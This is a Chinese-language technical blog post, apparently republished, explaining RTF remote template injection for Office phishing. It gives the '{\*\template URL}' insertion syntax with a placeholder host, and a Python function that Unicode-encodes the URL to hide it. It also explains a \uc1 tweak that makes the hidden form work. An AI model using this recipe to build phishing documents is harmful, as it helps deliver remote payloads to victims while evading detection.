Office RTF遠程模板注入


遠程模板插入

  ProofPoin最近寫了一篇文章,報告中提到近年來RTF模板注入進行office釣魚攻擊的數量增加。之前還沒怎么了解過RTF模板注入的,現在和小編一起去看看吧(笑hhh)。
  相對DOC模板注入的創建而言比較簡單,創建一個rtf文檔,使用office word進行編輯,隨便寫個內容。
image
  保存之后會發現文檔從原來的幾個字節大小變為幾十KB。這是因為里面添加了大量RTF文檔格式屬性字段值。
image
  那如何進行模板注入呢,RTF文檔支持一個相關的控制字段:*\template,該字段值需要跟着使用的模板名,整個屬性字段需要使用大括號括起來。
image
  然后直接使用文本編輯器打開之前保存的rtf文檔。進行遠程模板注入的話,插入的內容形如:{\*\template hxxp://xx.xx.xx.xx:port/xxx.xxx}。至於插入位置,經過測試,放在大括號后面,前面,或是之間,都可以獲取遠程模板。例如:
image
  插入字段並保存修改,再次使用Word打開,成功實現了模板注入。
image
image

Unicode形式URL模板插入

  更進一步,*\template字段參數值可以為Unicode,可以更好隱藏自身。關於如何將Ascii轉為Unicode表示形式,參考[3]文章如下。
image
  Python代碼表示如下:

def trans(url):
    return ''.join(['\\u'+str(-(0xffff+1-ord(c)))+'?' for c in url])

  那如何自制一個RTF Unicode模板注入呢?在原本基礎上直接修改\*\template的屬性值沒用。而按proofpoint文章中所說,涉及到\*\wgrffmtfilter字段,然而查看相應文檔,並且經過一番測試,和該字段實際並無關系。通過比對一些網絡上的相關技術利用樣本后發現,該方式應是和RTF文檔首部的\uc字段有關。
  \ucN:指定當前大括號中\uN表示的UNICODE字符對應的字節數。
image
  現在只需要修改\uc\uc1(在中文環境下默認保存為2),然后使用和第一節中相同方式將\*\template字段插入文檔,可成功實現。
image

參考:

[1] https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread
[2] http://www.biblioscape.com/rtf15_spec.htm
[3] https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM